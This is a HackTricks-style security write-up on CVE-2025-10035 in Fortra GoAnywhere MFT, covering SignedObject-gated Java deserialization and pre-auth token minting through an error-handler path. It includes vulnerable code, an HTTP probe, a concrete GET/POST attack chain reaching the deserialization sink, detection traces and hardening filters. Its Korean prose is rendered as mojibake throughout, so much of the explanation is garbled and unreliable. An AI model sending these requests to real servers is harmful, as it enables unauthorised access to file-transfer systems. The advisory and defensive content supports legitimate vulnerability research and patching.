Java SignedObject-gated Deserialization and Pre-auth Reachability via Error Paths
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ํ์ด์ง๋ java.security.SignedObject๋ฅผ ์ค์ฌ์ผ๋ก ๊ตฌ์ฑ๋ ์ผ๋ฐ์ ์ธ โguardedโ Java deserialization ํจํด๊ณผ, ๊ฒ๋ณด๊ธฐ์๋ ๋๋ฌ ๋ถ๊ฐ๋ฅํ sinks๊ฐ ์ค๋ฅ ์ฒ๋ฆฌ ํ๋ฆ์ ํตํด pre-auth๋ก ๋๋ฌ ๊ฐ๋ฅํด์ง ์ ์๋ ๋ฐฉ๋ฒ์ ๋ฌธ์ํํฉ๋๋ค. ์ด ๊ธฐ๋ฒ์ Fortra GoAnywhere MFT (CVE-2025-10035)์์ ๊ด์ฐฐ๋์์ง๋ง ์ ์ฌํ ์ค๊ณ์๋ ์ ์ฉ๋ฉ๋๋ค.
์ํ ๋ชจ๋ธ
- ๊ณต๊ฒฉ์๋ ๊ฒฐ๊ตญ ์ง๋ ฌํ๋ SignedObject๋ก ์๋๋ ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ byte[]๋ฅผ ์ฒ๋ฆฌํ๋ HTTP ์๋ํฌ์ธํธ์ ์ ๊ทผํ ์ ์๋ค.
- ํด๋น ์ฝ๋๋ validating wrapper(์: Apache Commons IO ValidatingObjectInputStream ๋๋ ์ปค์คํ ์ด๋ํฐ)๋ฅผ ์ฌ์ฉํ์ฌ ์ต์ธ๊ณฝ ํ์ ์ SignedObject(๋๋ byte[])๋ก ์ ํํ๋ค.
- SignedObject.getObject()๊ฐ ๋ฐํํ๋ ๋ด๋ถ ๊ฐ์ฒด์์ gadget chains(์: CommonsBeanutils1)์ด ํธ๋ฆฌ๊ฑฐ๋ ์ ์์ง๋ง, ์ด๋ ์๋ช ๊ฒ์ฆ ๊ฒ์ดํธ ์ดํ์๋ง ๊ฐ๋ฅํ๋ค.
์ผ๋ฐ์ ์ธ ์ทจ์ฝ ํจํด
com.linoma.license.gen2.BundleWorker.verify๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ ๋จ์ํ๋ ์:
private static byte[] verify(byte[] payload, KeyConfig keyCfg) throws Exception {
String sigAlg = "SHA1withDSA";
if ("2".equals(keyCfg.getVersion())) {
sigAlg = "SHA512withRSA"; // key version controls algorithm
}
PublicKey pub = getPublicKey(keyCfg);
Signature sig = Signature.getInstance(sigAlg);
// 1) Outer, "guarded" deserialization restricted to SignedObject
SignedObject so = (SignedObject) JavaSerializationUtilities.deserialize(
payload, SignedObject.class, new Class[]{ byte[].class });
if (keyCfg.isServer()) {
// Hardened server path
return ((SignedContainer) JavaSerializationUtilities.deserializeUntrustedSignedObject(
so, SignedContainer.class, new Class[]{ byte[].class }
)).getData();
} else {
// 2) Signature check using a baked-in public key
if (!so.verify(pub, sig)) {
throw new IOException("Unable to verify signature!");
}
// 3) Inner object deserialization (potential gadget execution)
SignedContainer inner = (SignedContainer) so.getObject();
return inner.getData();
}
}
์ฃผ์ ๊ด์ฐฐ:
- (1)์ ์๋ validating deserializer๋ ์์์ ์ต์์ gadget classes๋ฅผ ์ฐจ๋จํ๋ฉฐ, ์ค์ง SignedObject (๋๋ raw byte[])๋ง ํ์ฉํ๋ค.
- RCE primitive๋ (3)์์ SignedObject.getObject()๋ก ์ค์ฒดํ๋๋ inner object์ ์กด์ฌํ๋ค.
- (2)์ signature gate๋ SignedObject๊ฐ ์ ํ์ ํ๋์ฝ๋ฉ๋ ๊ณต๊ฐ ํค๋ก verify()๋์ด์ผ ํจ์ ๊ฐ์ ํ๋ค. ๊ณต๊ฒฉ์๊ฐ ์ ํจํ ์๋ช ์ ์์ฑํ ์ ์์ผ๋ฉด inner gadget์ ๊ฒฐ์ฝ deserializes๋์ง ์๋๋ค.
์ ์ฉ ๊ณ ๋ ค์ฌํญ
์ฝ๋ ์คํ์ ๋ฌ์ฑํ๋ ค๋ฉด ๊ณต๊ฒฉ์๋ ์ ์ฑ gadget chain์ inner object๋ก ๊ฐ์ผ ์ฌ๋ฐ๋ฅด๊ฒ ์๋ช ๋ SignedObject๋ฅผ ์ ๋ฌํด์ผ ํ๋ค. ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ์ค ํ๋๋ฅผ ํ์๋ก ํ๋ค:
- Private key compromise: ์ ํ์ด license ๊ฐ์ฒด๋ฅผ ์๋ช /๊ฒ์ฆํ๋ ๋ฐ ์ฌ์ฉํ๋ ๋์ํ๋ ๊ฐ์ธ ํค๋ฅผ ํ๋.
- Signing oracle: ๊ณต๊ธ์ ์ฒด๋ ์ ๋ขฐ๋ ์๋ช ์๋น์ค์ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ serialized ์ฝํ ์ธ ์ ์๋ช ํ๋๋ก ๊ฐ์ (์: license server๊ฐ ํด๋ผ์ด์ธํธ ์ ๋ ฅ์์ ์๋ฒ ๋๋๋ ์์ ๊ฐ์ฒด์ ์๋ช ํ๋ ๊ฒฝ์ฐ).
- Alternate reachable path: ์๋ฒ ์ธก ๊ฒฝ๋ก๋ฅผ ์ฐพ์ inner object๋ฅผ verify()๋ฅผ ๊ฐ์ ํ์ง ์๊ณ deserializes ํ๊ฑฐ๋ ํน์ ๋ชจ๋์์ ์๋ช ๊ฒ์ฌ๋ฅผ ๊ฑด๋๋ฐ๊ฒ ํจ.
์ด ์ค ์ด๋ ๊ฒ๋ ์์ผ๋ฉด, signature verification์ด deserialization sink๊ฐ ์กด์ฌํ๋๋ผ๋ ์ ์ฉ์ ๋ฐฉ์งํ๋ค.
Pre-auth reachability via error-handling flows
deserialization endpoint๊ฐ ์ธ์ฆ์ด๋ ์ธ์ ๋ฐ์ธ๋ฉ ํ ํฐ์ ์๊ตฌํ๋ ๊ฒ์ฒ๋ผ ๋ณด์ผ์ง๋ผ๋, ์ค๋ฅ ์ฒ๋ฆฌ ์ฝ๋๊ฐ ์๋์น ์๊ฒ ํ ํฐ์ ์์ฑํ์ฌ ์ธ์ฆ๋์ง ์์ ์ธ์ ์ ์ฒจ๋ถํ ์ ์๋ค.
์์ ๋๋ฌ์ฑ ์ฒด์ธ (GoAnywhere MFT):
- Target servlet: /goanywhere/lic/accept/
๋ ์ธ์ ๋ฐ์ธ๋ฉ๋ license request token์ ์๊ตฌํ๋ค. - Error path: /goanywhere/license/Unlicensed.xhtml์ trailing junk์ ์๋ชป๋ JSF ์ํ๋ก ์ ๊ทผํ๋ฉด AdminErrorHandlerServlet์ด ํธ๋ฆฌ๊ฑฐ๋๊ณ , ๋ค์์ ์ํํ๋ค:
- SessionUtilities.generateLicenseRequestToken(session)
- bundle=<โฆ>์ ์๋ช ๋ license request์ ํจ๊ป vendor license server๋ก ๋ฆฌ๋ค์ด๋ ํธ
- ํด๋น bundle์ ์คํ๋ผ์ธ์์ (hard-coded keys) ๋ณตํธํํ์ฌ GUID๋ฅผ ๋ณต๊ตฌํ ์ ์๋ค. ๋์ผํ ์ธ์
์ฟ ํค๋ฅผ ์ ์งํ๊ณ attacker-controlled bundle bytes๋ก /goanywhere/lic/accept/
์ POSTํ๋ฉด SignedObject sink์ pre-auth๋ก ๋๋ฌํ๋ค.
๋๋ฌ์ฑ ์ฆ๋ช (์ํฅ ์์) probe:
GET /goanywhere/license/Unlicensed.xhtml/x?javax.faces.ViewState=x&GARequestAction=activate HTTP/1.1
Host: <target>
- ํจ์น๋์ง ์์: 302 Location header to https://my.goanywhere.com/lic/request?bundle=โฆ ๋ฐ Set-Cookie: ASESSIONID=โฆ
- ํจ์น๋จ: bundle ์์ด ๋ฆฌ๋๋ ์ (ํ ํฐ ์์ฑ ์์).
๋ธ๋ฃจํ ํ์ง
์คํ ํธ๋ ์ด์ค/๋ก๊ทธ์ ์งํ๋ SignedObject-gated sink๋ฅผ ํธ์ถํ๋ ค๋ ์๋๊ฐ ์์์์ ๊ฐํ๊ฒ ์์ฌํฉ๋๋ค:
java.io.ObjectInputStream.readObject
java.security.SignedObject.getObject
com.linoma.license.gen2.BundleWorker.verify
com.linoma.license.gen2.BundleWorker.unbundle
com.linoma.license.gen2.LicenseController.getResponse
com.linoma.license.gen2.LicenseAPI.getResponse
com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost
ํ๋๋ ์ง์นจ
- ๋ชจ๋ getObject() ํธ์ถ ์ ์ ์๋ช ๊ฒ์ฆ์ ์ํํ๊ณ , ๊ฒ์ฆ์ด ์๋๋ ๊ณต๊ฐ ํค/์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉํ๋๋ก ํ์ธํ์ธ์.
- ์ง์ ์ ์ธ SignedObject.getObject() ํธ์ถ์ ๋ด๋ถ ์คํธ๋ฆผ์ ๋ํด ํํฐ๋ง์ ์ฌ์ ์ฉํ๋ ํ๋๋๋ ๋ํผ(์: ValidatingObjectInputStream/ObjectInputFilter allow-lists๋ฅผ ์ฌ์ฉํ๋ deserializeUntrustedSignedObject)๋ก ๊ต์ฒดํ์ธ์.
- ์ธ์ฆ๋์ง ์์ ์ฌ์ฉ์์๊ฒ session-bound ํ ํฐ์ ๋ฐ๊ธํ๋ ์ค๋ฅ ์ฒ๋ฆฌ ํ๋ฆ์ ์ ๊ฑฐํ์ธ์. ์ค๋ฅ ๊ฒฝ๋ก๋ฅผ ๊ณต๊ฒฉ ํ๋ฉด์ผ๋ก ๊ฐ์ฃผํ์ธ์.
- ์ธ๋ถ ๋ฐ ๋ด๋ถ ์ญ์ง๋ ฌํ ๋ชจ๋์ ๋ํด ์๊ฒฉํ allow-lists๋ฅผ ์ ์ฉํ Java serialization filters (JEP 290)๋ฅผ ๊ถ์ฅํฉ๋๋ค. ์:
ObjectInputFilter filter = info -> {
Class<?> c = info.serialClass();
if (c == null) return ObjectInputFilter.Status.UNDECIDED;
if (c == java.security.SignedObject.class || c == byte[].class) return ObjectInputFilter.Status.ALLOWED;
return ObjectInputFilter.Status.REJECTED; // outer layer
};
ObjectInputFilter.Config.setSerialFilter(filter);
// For the inner object, apply a separate strict DTO allow-list
์์ ๊ณต๊ฒฉ ์ฒด์ธ ์์ฝ (CVE-2025-10035)
- Pre-auth token minting via error handler:
GET /goanywhere/license/Unlicensed.xhtml/watchTowr?javax.faces.ViewState=watchTowr&GARequestAction=activate
bundle=โฆ ๋ฐ ASESSIONID=โฆ๊ฐ ํฌํจ๋ 302 ์๋ต์ ์์ ; ์คํ๋ผ์ธ์์ bundle์ decryptํ์ฌ GUID๋ฅผ ๋ณต๊ตฌ.
- ๋์ผํ cookie๋ก pre-auth ์ํ์์ sink์ ๋๋ฌ:
POST /goanywhere/lic/accept/<GUID> HTTP/1.1
Cookie: ASESSIONID=<value>
Content-Type: application/x-www-form-urlencoded
bundle=<attacker-controlled-bytes>
- RCE requires a correctly signed SignedObject wrapping a gadget chain. ์ฐ๊ตฌ์๋ค์ ์๋ช ๊ฒ์ฆ(signature verification)์ ์ฐํํ ์ ์์์ผ๋ฉฐ; ์ ์ฉ์ ์ผ์นํ๋ private key ๋๋ signing oracle์ ๋ํ ์ ๊ทผ์ ๋ฌ๋ ค ์์ต๋๋ค.
์์ ๋ ๋ฒ์ ๋ฐ ๋์ ๋ณ๊ฒฝ์ฌํญ
- GoAnywhere MFT 7.8.4 ๋ฐ Sustain Release 7.6.3:
- ๋ด๋ถ ์ญ์ง๋ ฌํ(inner deserialization)๋ฅผ ๊ฐํํ๊ธฐ ์ํด SignedObject.getObject()๋ฅผ ๋ํผ(deserializeUntrustedSignedObject)๋ก ๊ต์ฒด.
- error-handler ํ ํฐ ์์ฑ ์ ๊ฑฐ๋ก pre-auth ์ ๊ทผ ๊ฐ๋ฅ์ฑ ์ฐจ๋จ.
JSF/ViewState ๊ด๋ จ ๋ฉ๋ชจ
ํด๋น ๋๋ฌ์ฑ(reachability) ํธ๋ฆญ์ JSF ํ์ด์ง(.xhtml)์ ์๋ชป๋ javax.faces.ViewState๋ฅผ ์ด์ฉํด ๊ถํ ์๋ error handler๋ก ๊ฒฝ๋ก๋ฅผ ์ ๋ํฉ๋๋ค. ์ด๋ JSF ์ญ์ง๋ ฌํ ๋ฌธ์ ๋ ์๋์ง๋ง, ๋ฐ๋ณต๋๋ pre-auth ํจํด์ผ๋กโ๊ถํ ์๋ ๋์์ ์ํํ๊ณ ๋ณด์ ๊ด๋ จ ์ธ์ ์์ฑ์ ์ค์ ํ๋ error handler๋ก ์นจํฌํ๋ ๋ฐฉ์์ ๋๋ค.
References
- watchTowr Labs โ Is This Bad? This Feels Bad โ GoAnywhere CVE-2025-10035
- Fortra advisory FI-2025-012 โ Deserialization Vulnerability in GoAnywhere MFTโs License Servlet
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


